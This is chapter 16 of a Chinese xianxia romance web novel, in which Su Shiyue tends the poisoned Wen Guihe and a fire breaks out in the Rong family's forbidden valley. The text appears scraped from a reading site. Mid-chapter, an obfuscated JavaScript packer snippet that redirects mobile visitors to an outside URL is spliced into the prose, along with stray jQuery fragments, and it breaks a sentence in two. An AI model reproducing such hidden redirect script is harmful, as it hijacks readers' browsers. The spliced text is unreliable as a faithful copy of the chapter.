16.第 16 章

作品:《误把白切黑反派当男配撩后

    “要是我没来,你莫不是准备在地板上躺一天。直到容枝桃迟迟未见你辞行,赶来看望,才能发现你?”


    他来越州城,到底有什么要紧事,让他不惜采取极端手段达到目的。


    苏时悦又好气又好笑,险些仗着闻归鹤未醒,在他脸上戳几下。


    少年安静地睡着,对她的絮叨没有任何回应。


    “算啦。”苏时悦叹息。


    她对着个昏迷的病人说什么,想说的话,等他醒来再告诉他好了。


    厢房陷入安静,大开的门扉后,深红色的光芒如水淌入,穿透屋中半透明的魂体。


    时间前移,苏时悦接近门扉时,闻归鹤正在摆弄那瓶见血封喉的剧毒。


    随手把解药炼化成符,丢进角落。


    听到敲门声,闻归鹤拧开瓶盖,仰头,将无色无味的液体尽数倒入口中。


    他想看看苏时悦的反应,也想看看,如果承伤一方服毒濒死,另一方会如何。


    可惜,哪怕他命悬一线,她依然安然无恙,半点儿事都没有。


    这本是意料之中的事,没什么值得失落。


    之后的事,却超出闻归鹤的预期。


    她能猜出他的想法。


    而他并未因被揣测而生气。


    甚至,有些开心。


    似是因阳光太过刺眼,少年垂眸,回转视线,俯视沉睡的自己。


    许久,一声叹息,于夜幕中离开容府,朝目的地飞去。


    新月无光,唯有深秋疾风吹动枯柳。


    越州城依山而建,城墙以西,群山连绵。山谷中,一道银色结界若隐若现。其内瘴气弥漫,黑影幢幢。


    月上中天时,半透明的魂体驻足在结界前,静静等待。


    直至银白几不可查地闪烁,他身形一晃,飘然入内。灵力运转,驱散扑上的邪物,大步流星,长驱直入。


    城内容府,由于二当家牵扯进大案,禁地钥匙正在易主,灵力更迭,是神不知鬼不觉出入的最佳时机。


    魂体如入无人之境,熟门熟路来到山谷最深处。


    闻归鹤拨开迷雾,看着眼前黯淡无光的景象,面上神情微变。


    他用灵力凝出寻物符文,当空一抛,金色光点环绕山谷一周,又回到他的手中。


    闻归鹤挑了挑眉,面露讶异。


    “几处地点均已搜查,确认天都神印遗失。”


    他随手写下几笔,灵力凝做信件,往西北方向送,蓦地转变主意。又当空合掌,一连捏了好几个手诀,一枚小印出现在手中。


    金印直线锋利,纹路精致。印壁画了颗鸽子蛋大小的圆珠,仿佛一颗耀眼的钻石。


    闻归鹤将其放置到它应在的位置,指尖一摆,一颗火星悄无声息落地。


    静谧的夜色,寒风徐徐飘过。忽有一物恍若流星坠地,“砰”地砸在深山中。


    西天被火光应得通红,惊起全城人从睡梦中醒来,奔逃呼喊将消息通知容府。容氏听说禁地出事,赶忙去救援,一时间全府上下点灯,光芒亮如白昼。


    唯一依旧昏暗的,是第四进的厢房。


    铜炉在角落中安静地煮着,苦香四溢。以往活力四射女孩儿卷起袖管,心事重重地坐在窗边书桌旁,抬头看银色的月亮。


    忽然,她似有所觉,往榻上看去。


    沉睡的少年恢复意识,手指动了动。


    长睫微颤,往肺腑中吸了口气。紧接着,便是无止境的咳嗽,吓了苏时悦一跳。


    他呼吸混乱,努力想起身,却没有力气撑起身子。只能扣住榻边,绷紧背脊,竭力侧卧。


    苏时悦慌忙奔过去,扶他起身。闻归鹤勉强坐直身子,仰脸,胸脯急促上下起伏几下,总算喘匀了气。


    肩上一沉,暖意涌上,有人为他披了件衣服。


    熟悉的声音响起,苏时悦道:“西山禁林无端起了大火,那儿好像存有容家重要的法器,大半个家族都冲去救援,希望不会有事。”


    她取了几个软枕,垫到他身后,扶他靠着。


    漆黑一片的房间里,闻归鹤一下子认出说话之人。


    他抬起眼睫:“我睡了多久……”


    苏时悦:“两个时辰。”


    苏时悦点亮一豆烛光,火光点点,柔和她的轮廓。烛光昏黄,投下斑驳的影子,他清晰地看见她眼底一宿未眠的疲惫。


    闻归鹤轻声道:“多谢。”


    “可苏姑娘不该在这儿。州城不比边疆外的大荒,须得遵循传统礼制。姑娘夜不归宿,反而留在我这儿,是会被说闲话的。”


    “我管不着。”苏时悦坐在床边小凳上,“我有话要和你说。”


    她的五官绷得紧紧的,眉头更是弹跳得跟跳舞似的。


    “我记着。”闻归鹤颔首。


    “苏姑娘说,要与我分享在州府内的遭遇。”


    他像是忘记中间发生的一切,把话题引回苏时悦寻他的那个下午。


    “不是这件事!”苏时悦忍无可忍,面上飞起薄怒,像点燃了的炮仗一样,“嘭”地炸开。


    她一拳头砸在扶手上:“鹤公子,您太不把自己当回事了吧?你怎么确定我会来找你?要是没有解毒丹该怎么办?死在这儿吗?”


    她不行,恨不得抓住他的领子狂摇。碍于闻归鹤是病人,只能朝死木头发泄。


    “有人会担心你的。”她不知道自己在闻归鹤心中分量是多少,只能模糊主语。


    闻归鹤面无表情,右手不受控地抽搐一瞬,刹那间多出一片红印。


    “角落布有解毒法阵,我不会有事。”他脸歪到一旁,低声道,“暗处的布置,我也安排好了。哪怕我昏迷不醒,你也很安全。”


    苏时悦顿时生不起气来。


    他都这副模样,她再说教,未免太残忍了些。


    苏时悦叹了口气:“鹤公子既然醒了,便把药喝了吧。”


    闻归鹤这才发现,屋内充斥苦药味。他恢复些力气,努力直起身子。眼睁睁看着身形高挑的少女手捧药碗,越走越近,风轻云淡的脸上竟浮现一丝挣扎。


    “我不需要。”


    苏时悦看出他眼中的回避,把药碗送到她鼻尖:“公子中的毒非同一般,须得长期服药。”


    她专程向医修询问过闻归鹤的情况。


    医修鲜少遇到如此棘手的病人,提起来就愁眉苦脸:“毒药是家族秘法,自然有对应的解药,不必担忧。问题在于,那位公子患有心疾,若不及时救治,恐有生命危险。”


    “心疾?”苏时悦第一次听说闻归鹤的病症。


    医修唉声叹气:“其实从他的面色,便能看出端倪。不过如此严重,我着实未料到。他脉象细弱,心气、心阳都极度衰弱,明显气血不畅。想要养身,需多眠少动,药物调理同时,尽可能多加歇息。”


    闻归鹤的实力太过强悍,以至于苏时悦常常忘记他是名需要照顾的重病之人。如此病症,还整宿整宿的熬夜,就算未来不遇到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362146|167968||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    玄玉,他恐怕也会自己整死自己。


    苏时悦知道闻归鹤不在意身子,只能拐弯抹角,先骗他喝药再说。


    “公子中的不是寻常毒药,即便服了解毒丹,也得调理很久才能恢复如初。之前马车上,公子一直照顾我,如今换我来回报您,可好?”


    闻归鹤似是听出她的谎言,微微蹙眉。


    苏时悦继续道:“公子厢房外布下结界,这几日不必担心有除我与容枝桃心腹以外的人出入,你安心养病即可。”


    少女眉语目笑,纤细的睫毛一闪一闪。她像是下了什么重大的决定,语气愈发轻柔,带着十二分难掩的真心。


    几乎要到撒娇哀求的地步,配合着窗外重露,更显氤氲濡湿。


    闻归鹤“嗖”地伸手,端过碗。苏时悦还没来得及拦,便见他一饮而尽,随手将碗搁在桌案上,皱眉道:“喝完了。”


    语气难得有些孩子气。


    引得苏时悦错愕看他。


    少年陷进绵软靠枕中,乌发散乱。烛光摇曳,苍白的面容在红痣映衬下更显憔悴。他似是不习惯在动弹不得的情况下被人照顾,耳廓有些红,别过脸去不看苏时悦。


    苏时悦略有些失落。


    除去基本的关心,她还有些话想和闻归鹤说。但看眼下的情形,那些话并不适合说出口。


    她默默把药碗收起:“既然如此,我便不打扰鹤公子休息。还望鹤公子保重身体,不要像现在这般糟蹋……”


    苏时悦的声音越来越低,直至消失无踪。


    她轻手轻脚起身,无声离开房间。


    闻归鹤静坐良久,不肯回头:“苏姑娘呢,知道我是何种人了么?”


    还打算继续对他下手吗?


    没有回应。


    僵宁许久,少年回头,又唤了句。


    “苏姑娘?”


    唯有木门轻轻合上,放任油灯继续燃烧。


    走了?


    闻归鹤疑惑又茫然,一时失态。


    她为何要走?


    难得他态度松缓,无论是欲擒故纵,还是乘胜追击,她都不该走。


    少年披衣而起,走到窗前。颀长身形弱不胜衣,如墨无法披散而下,更显面色不似常人。


    窗外已经没有人了。


    闻归鹤半仰起脸,任由冷冽的秋风打在脸上。睫毛如同垂死的蝴蝶耷拉,朱砂痣像一滴凝固的血,血管在薄薄肌肤下若隐若现,好似件易碎的青瓷器。


    他闭上双目,眼前又一次浮现睁眼时,模模糊糊看到的那道倩影。


    他苏醒前,她一直,都在那儿守着吗……


    纪真阁,果然敬职敬业,兢兢业业。


    指节无意识地在窗棂上敲击,一下又一下。


    过了不知多久,少年缓缓睁眼。修长的手指攥紧窗棂,骨节泛白。目光越过窗沿,投向那片寂静的夜色。


    她何时才会把信交给他。


    那封早早写好,言辞恳切,满纸荒言的投诚信。


    他想要她的信。


    夜近子时,天边黑色的云朵缓缓飘走,落在苏时悦眼底,倒映出阵阵涟漪与波纹。


    她想到了没有和闻归鹤说的事,一件对于闻归鹤而言轻如鸿毛,对她却重如泰山的事。


    星光静默,汇流成河,顺利安抚她的思绪。


    苏时悦握了握腕上珠串,慢腾腾地。


    从袖管取出投诚信。


    犹豫片刻。


    撕个粉碎。